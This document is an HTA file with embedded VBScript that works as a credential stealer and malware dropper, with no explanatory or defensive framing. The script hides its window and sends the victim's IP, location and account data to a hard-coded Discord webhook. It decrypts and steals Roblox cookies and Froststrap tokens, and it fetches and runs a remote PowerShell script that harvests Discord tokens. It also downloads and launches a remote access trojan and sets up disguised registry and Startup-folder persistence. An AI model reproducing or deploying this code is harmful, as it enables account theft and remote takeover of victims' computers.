<html>
<head><title>.</title>
<hta:application id="a" border="none" innerborder="no" caption="no" showintaskbar="no" sysmenu="no" contextmenu="no" selection="no"/>
<script language="VBScript">
window.resizeTo 0,0:window.moveTo -2000,-2000
On Error Resume Next

Dim sh, fso, WH, PC, USER
Set sh = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")

' --- WEBHOOK ---
WH = "https://discord.com/api/webhooks/1564755026310865077/lfLWQ7tkhLSryvh8y3kTrSWfPdmI35KcC6I7V-BnWysjPCIppIlPHDVI9t7xdFdQ1y0W"

PC = sh.ExpandEnvironmentStrings("%COMPUTERNAME%")
USER = sh.ExpandEnvironmentStrings("%USERNAME%")

' TRACE
Dim tf: tf = sh.ExpandEnvironmentStrings("%TEMP%") & "\trace.txt"
Dim tr: Set tr = fso.CreateTextFile(tf, True): tr.Write "START:" & Now & vbCrLf: tr.Close: Set tr = Nothing

' --- Initial Grab ---
Call GrabTokens
Call IP
Call GrabRoblox
Call Persistence
Call GrabFroststrap

' --- Download & Execute RAT 2 Times ---
Dim downloadAttempt
For downloadAttempt = 1 To 2
    Call PostEmbed(":arrows_counterclockwise: Download Attempt " & downloadAttempt & "/2", "PC: " & PC & " | User: " & USER, 3447003)
    Call DropRAT
    If downloadAttempt < 2 Then Call SleepMinutes(2)
Next

' --- Re-run grab chain 4x (every 5 min) ---
Dim runCount
For runCount = 1 To 4
    Call PostEmbed(":repeat: Re-grab " & runCount & "/4", "PC: " & PC & " | User: " & USER, 3447003)
    Call GrabTokens
    Call IP
    Call GrabRoblox
    Call GrabFroststrap
    If runCount < 4 Then Call SleepMinutes(5)
Next

window.close()

' --- IP Function ---
Sub IP()
    Dim xh : Set xh = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    xh.SetOption 2, 13056
    xh.Open "GET", "https://api.ipify.org/", False
    xh.Send
    If xh.Status <> 200 Then Exit Sub
    Dim ip : ip = xh.responseText
    If Len(ip) < 7 Then Exit Sub
    xh.Open "GET", "http://ip-api.com/line/" & ip & "?fields=country,regionName,city,isp", False
    xh.Send
    If xh.Status <> 200 Then Exit Sub
    Dim ll : ll = Split(xh.responseText, vbLf)
    Dim info : info = "IP: " & ip & " | " & ll(0) & " | " & ll(1) & " | " & ll(2) & " | " & ll(3) & " | PC: " & PC & " | " & USER
    Call PostEmbed(":dart: Target", info, 3447003)
    Set xh = Nothing
End Sub

' --- GrabRoblox Function ---
Sub GrabRoblox()
    Dim paths(4)
    paths(0) = sh.ExpandEnvironmentStrings("%LOCALAPPDATA%") & "\Roblox\LocalStorage\robloxcookies.dat"
    paths(1) = sh.ExpandEnvironmentStrings("%LOCALAPPDATA%") & "\Roblox\LocalStorage\RobloxCookies.dat"
    paths(2) = sh.ExpandEnvironmentStrings("%LOCALAPPDATA%") & "\Roblox\Cookies"
    paths(3) = sh.ExpandEnvironmentStrings("%APPDATA%") & "\Roblox\LocalStorage\robloxcookies.dat"
    paths(4) = sh.ExpandEnvironmentStrings("%USERPROFILE%") & "\AppData\Local\Roblox\LocalStorage\robloxcookies.dat"
    Dim i, fp, raw
    For i = 0 To 4
        If fso.FileExists(paths(i)) Then fp = paths(i) : Exit For
    Next
    If Len(fp) = 0 Then
        Dim pk: pk = sh.ExpandEnvironmentStrings("%LOCALAPPDATA%") & "\Packages"
        If fso.FolderExists(pk) Then
            Dim folder, subf
            Set folder = fso.GetFolder(pk)
            For Each subf In folder.SubFolders
                If InStr(UCase(subf.Name), "ROBLOX") > 0 Then
                    Dim uwp: uwp = subf.Path & "\LocalState\RobloxCookies.dat"
                    If fso.FileExists(uwp) Then fp = uwp : Exit For
                End If
            Next
            Set folder = Nothing
        End If
    End If
    If Len(fp) = 0 Then Exit Sub
    raw = ReadFile(fp)
    If Len(raw) < 50 Then Exit Sub

    Dim cookie: cookie = ""
    If InStr(raw, "_|WARNING") > 0 Then cookie = raw
    If Len(cookie) = 0 And InStr(raw, "CookiesData") > 0 Then
        Dim sp: sp = InStr(raw, "CookiesData"":""")
        If sp > 0 Then
            sp = sp + 14
            Dim ep: ep = InStr(sp, raw, """")
            If ep > sp Then
                Dim b64: b64 = Mid(raw, sp, ep - sp)
                If Len(b64) > 100 Then cookie = DecryptDPAPI(b64)
            End If
        End If
    End If
    If Len(cookie) = 0 And InStr(raw, ".ROBLOSECURITY") > 0 Then
        Dim rp: rp = InStr(raw, ".ROBLOSECURITY") : cookie = Mid(raw, rp)
    End If
    If Len(cookie) = 0 Then cookie = raw

    cookie = Replace(cookie, vbCr, "")
    cookie = Replace(cookie, vbLf, "")
    cookie = Replace(cookie, vbTab, "")
    cookie = Trim(cookie)
    Dim sc: sc = InStr(cookie, ";")
    If sc > 0 Then cookie = Left(cookie, sc - 1)
    cookie = Trim(cookie)
    Dim warn: warn = InStr(cookie, "_|WARNING")
    If warn > 1 Then cookie = Mid(cookie, warn)

    PostEmbed "Roblox Cookie", "Size: " & Len(cookie) & " | PC: " & PC, 65280
    PostFile "cookie.txt", cookie
End Sub

' --- GrabFroststrap Function ---
Sub GrabFroststrap()
    Dim fp : fp = sh.ExpandEnvironmentStrings("%LOCALAPPDATA%") & "\Froststrap\Cache\AccountManager.json"
    If Not fso.FileExists(fp) Then
        On Error Resume Next
        Dim fdir : fdir = sh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\Froststrap\InstallLocation")
        On Error Goto 0
        If fdir <> "" Then fp = fdir & "\Cache\AccountManager.json"
    End If
    If Not fso.FileExists(fp) Then Exit Sub

    Call PostEmbed(":snowflake: Froststrap", "Froststrap found, grabbing accounts...", 3447003)

    Dim ps
    ps = "$w='" & WH & "';Add-Type -AssemblyName System.Security;$p=Join-Path $env:LOCALAPPDATA 'Froststrap\Cache\AccountManager.json';if(!(Test-Path $p)){try{$r=Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\Froststrap' -ErrorAction Stop;$p=Join-Path $r.InstallLocation 'Cache\AccountManager.json'}catch{}};if(!(Test-Path $p)){exit};$j=Get-Content $p -Raw|ConvertFrom-Json;$e=[Text.Encoding]::UTF8.GetBytes('Froststrap_DPAPI_v1');$lines=@();foreach($a in $j.accounts){try{$eb=[Convert]::FromBase64String($a.SecurityToken);$db=[Security.Cryptography.ProtectedData]::Unprotect($eb,$e,[Security.Cryptography.DataProtectionScope]::CurrentUser);$c=[Text.Encoding]::UTF8.GetString($db)}catch{$c='DECRYPT FAILED'};$lines+='**'+$a.Username+'** ['+$a.UserId+'] : '+$c};$desc=($lines -join [char]10);if($desc.Length -eq 0){$desc='No accounts found'};$payload=@{embeds=@(@{title=':snowflake: Froststrap Accounts';description=$desc;color=3447003})}|ConvertTo-Json -Depth 4 -Compress;Invoke-RestMethod $w -Method Post -Body $payload -ContentType 'application/json'"

    sh.Run "powershell -NoP -Exec Bypass -Command """ & ps & """", 0, True
End Sub

' --- DropRAT ---
Sub DropRAT()
    Call PostEmbed(":package: RAT Download", "Fetching Payload...", 3447003)
    Dim dl : dl = "https://aqkqhdfafepmmsccxpyf.supabase.co/storage/v1/object/public/godspla/client-13.bat"
    
    Dim op : op = sh.ExpandEnvironmentStrings("%TEMP%") & "\agent.bat"
    If fso.FileExists(op) Then fso.DeleteFile op

    ' Wait = True (blocks until download is 100% complete)
    sh.Run "powershell -NoP -Exec Bypass -WindowStyle Hidden -Command ""Invoke-WebRequest -Uri '" & dl & "' -OutFile '" & op & "'""", 0, True

    ' Check for 3.71MB (3,890,000 bytes) to ensure it's fully written
    Dim rDone : rDone = False
    If fso.FileExists(op) Then
        If fso.GetFile(op).Size > 3000000 Then
            rDone = True
        End If
    End If

    If rDone Then
        Dim dsize : dsize = fso.GetFile(op).Size
        Call PostEmbed(":rocket: RAT Downloaded", "Size: " & CStr(dsize) & " bytes" & vbCrLf & "Launching...", 3447003)
        sh.Run op, 0, False
        Call PostEmbed(":white_check_mark: RAT", "Payload executed successfully", 65280)
    Else
        sh.Run "cmd /c taskkill /f /im powershell.exe > nul 2>&1", 0, False
        Call PostEmbed(":hourglass: RAT Timeout", "Download failed or incomplete.", 16711680)
    End If
End Sub

' --- Sleep Functions (Timer-Based) ---
Sub SleepSeconds(s)
    Dim t0, t1, t2, elapsed
    t0 = Timer()
    Dim cmd : cmd = "cmd /c ping -n " & (s + 1) & " 127.0.0.1 > nul"
    sh.Run cmd, 0, True
    elapsed = Timer() - t0
    If elapsed < 0 Then elapsed = elapsed + 86400
    If elapsed < s Then
        t1 = Timer()
        Do
            t2 = Timer()
            If t2 < t1 Then t2 = t2 + 86400
            If (t2 - t1) >= (s - elapsed) Then Exit Do
        Loop
    End If
End Sub

Sub SleepMinutes(m)
    Call SleepSeconds(m * 60)
End Sub

' --- Persistence ---
Sub Persistence()
    Dim payload : payload = "mshta https://dicetrace.app"
    On Error Resume Next
    
    sh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate", payload, "REG_SZ"
    sh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\WinUpdate", payload, "REG_SZ"
    
    Dim sp : sp = sh.ExpandEnvironmentStrings("%APPDATA%") & "\Microsoft\Windows\Start Menu\Programs\Startup\winupdate.vbs"
    Dim sf : Set sf = fso.CreateTextFile(sp, True)
    sf.WriteLine "CreateObject(Chr(87)&Chr(83)&Chr(99)&Chr(114)&Chr(105)&Chr(112)&Chr(116)&Chr(46)&Chr(83)&Chr(104)&Chr(101)&Chr(108)&Chr(108)).Run Chr(34)&""" & payload & """&Chr(34), 0, False"
    sf.Close
    
    Call PostEmbed(":pushpin: Persistence", "3 startup methods installed", 65280)
End Sub

' --- GrabTokens ---
Sub GrabTokens()
    Dim xh: Set xh = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    xh.SetOption 2, 13056
    xh.Open "GET", "https://gist.githubusercontent.com/vizeynDev/1ac4a11405f73febbb261f0a0f391314/raw/6e659e1a0bd36a522b3e0a342652f833a4eb9fa8/steal.ps1", False
    xh.Send
    If xh.Status <> 200 Then Exit Sub
    Dim pc: pc = xh.responseText
    If Len(pc) < 100 Then Exit Sub
    Set xh = Nothing
    
    Dim psf: psf = TmpFile("steal.ps1")
    WriteFile psf, pc
    sh.Run "cmd /c powershell -NoP -Exec Bypass -File """ & psf & """", 0, True
    fso.DeleteFile psf, True
    
    Dim tf: tf = TmpFile("steal_result.txt")
    If Not fso.FileExists(tf) Then Exit Sub
    Dim raw: raw = ReadFile(tf)
    
    If Len(raw) > 10 Then
        Dim lines: lines = Split(raw, vbCrLf)
        Dim l
        For Each l In lines
            If Len(l) > 10 Then
                If Left(l, 8) = "DISCORD|" Then
                    Dim p: p = Split(Mid(l, 9), "|")
                    If UBound(p) >= 4 Then
                        Dim info: info = "**User:** " & p(0) & vbCrLf
                        If p(1) <> "" Then info = info & "**Email:** " & p(1) & vbCrLf
                        If p(2) <> "" Then info = info & "**Phone:** " & p(2) & vbCrLf
                        If p(3) <> "0" Then info = info & "**ID:** " & p(3) & vbCrLf
                        info = info & "**Token:** " & p(4)
                        Call PostEmbed(":gift: Discord Token", info, 5793266)
                    End If
                End If
                If Left(l, 7) = "ROBLOX|" Or Left(l, 9) = "ROBLOXMS|" Then
                    Call PostEmbed(":cookie: Roblox Cookie", Mid(l, 8), 65280)
                End If
            End If
        Next
    End If
End Sub

' --- Utility Functions ---
Function TmpFile(name): TmpFile = sh.ExpandEnvironmentStrings("%TEMP%") & "\" & name: End Function
Sub WriteFile(path, content): Dim f: Set f = fso.CreateTextFile(path, True): f.Write content: f.Close: Set f = Nothing: End Sub
Function ReadFile(path): ReadFile = "": Dim f: Set f = fso.OpenTextFile(path, 1): ReadFile = f.ReadAll: f.Close: Set f = Nothing: End Function

' --- PostEmbed (direct to discord) ---
Sub PostEmbed(t, d, c)
    Dim DQ: DQ = Chr(34)
    Dim j: j = "{" & DQ & "embeds" & DQ & ":[{" & DQ & "title" & DQ & ":" & DQ & Ej(t) & DQ & "," & DQ & "description" & DQ & ":" & DQ & Ej(d) & DQ & "," & DQ & "color" & DQ & ":" & c & "}]}"
    Dim h: Set h = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    h.SetOption 2, 13056
    h.Open "POST", WH, False
    h.SetRequestHeader "Content-Type", "application/json"
    h.Send j
    Set h = Nothing
End Sub

' --- PostFile (direct to discord) ---
Sub PostFile(fn, ct)
    Dim DQ: DQ = Chr(34)
    Dim b: b = Mid(CreateObject("Scriptlet.TypeLib").GUID, 2, 36)
    Dim bd: bd = "--" & b & vbCrLf & "Content-Disposition: form-data; name=" & DQ & "file" & DQ & "; filename=" & DQ & fn & DQ & vbCrLf & vbCrLf & ct & vbCrLf & "--" & b & "--"
    Dim h: Set h = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    h.SetOption 2, 13056
    h.Open "POST", WH, False
    h.SetRequestHeader "Content-Type", "multipart/form-data; boundary=" & b
    h.Send bd
    Set h = Nothing
End Sub

' --- RunCmd ---
Sub RunCmd(cmd)
    Dim w,p,i,s
    Set w = GetObject("winmgmts:\\.\root\cimv2")
    Set s = w.Get("Win32_ProcessStartup").SpawnInstance_
    s.ShowWindow = 0
    Set p = w.Get("Win32_Process")
    p.Create cmd,,s,i
    If i = 0 Then Exit Sub
    Dim r: r = True
    Dim startTime: startTime = Timer()
    Do While r
        If Timer() - startTime > 60 Then
            Call PostEmbed("DEBUG", "PS1 TIMEOUT after 60s, killing", 16711680)
            sh.Run "taskkill /F /PID " & i, 0, False
            Exit Do
        End If
        Set w = GetObject("winmgmts:\\\\.\\root\\cimv2")
        r = (w.ExecQuery("SELECT ProcessId FROM Win32_Process WHERE ProcessId=" & i).Count > 0)
        Set w = Nothing
        If r Then Dim t: t = Timer(): Do While Timer() - t < 0.15: Loop: End If
    Loop
End Sub

' --- DecryptDPAPI ---
Function DecryptDPAPI(b64)
    DecryptDPAPI = ""
    Dim inf: inf = TmpFile("dpi.txt")
    Dim outf: outf = TmpFile("dpo.txt")
    fso.DeleteFile outf, True
    WriteFile inf, b64
    Dim ps: ps = "Add-Type -AssemblyName System.Security;try{$b=[Convert]::FromBase64String((Get-Content '" & inf & "' -Raw).Trim());$d=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[System.Text.Encoding]::UTF8.GetString($d)|Out-File '" & outf & "' -Encoding utf8}catch{''|Out-File '" & outf & "'}"
    Dim psf: psf = TmpFile("dpapi.ps1")
    WriteFile psf, ps
    sh.Run "powershell -NoP -Exec Bypass -File """ & psf & """", 0, True
    If fso.FileExists(outf) Then If fso.GetFile(outf).Size > 20 Then DecryptDPAPI = ReadFile(outf)
    fso.DeleteFile inf, True
    fso.DeleteFile psf, True
    fso.DeleteFile outf, True
End Function

' --- Ej ---
Function Ej(s)
    Ej = s
    Ej = Replace(Ej, Chr(92), Chr(92) & Chr(92))
    Ej = Replace(Ej, Chr(34), Chr(92) & Chr(34))
    Ej = Replace(Ej, vbCrLf, Chr(92) & "n")
    Ej = Replace(Ej, vbCr, Chr(92) & "n")
    Ej = Replace(Ej, vbLf, Chr(92) & "n")
    Ej = Replace(Ej, vbTab, Chr(92) & "t")
End Function
</script>
</head><body></body></html>
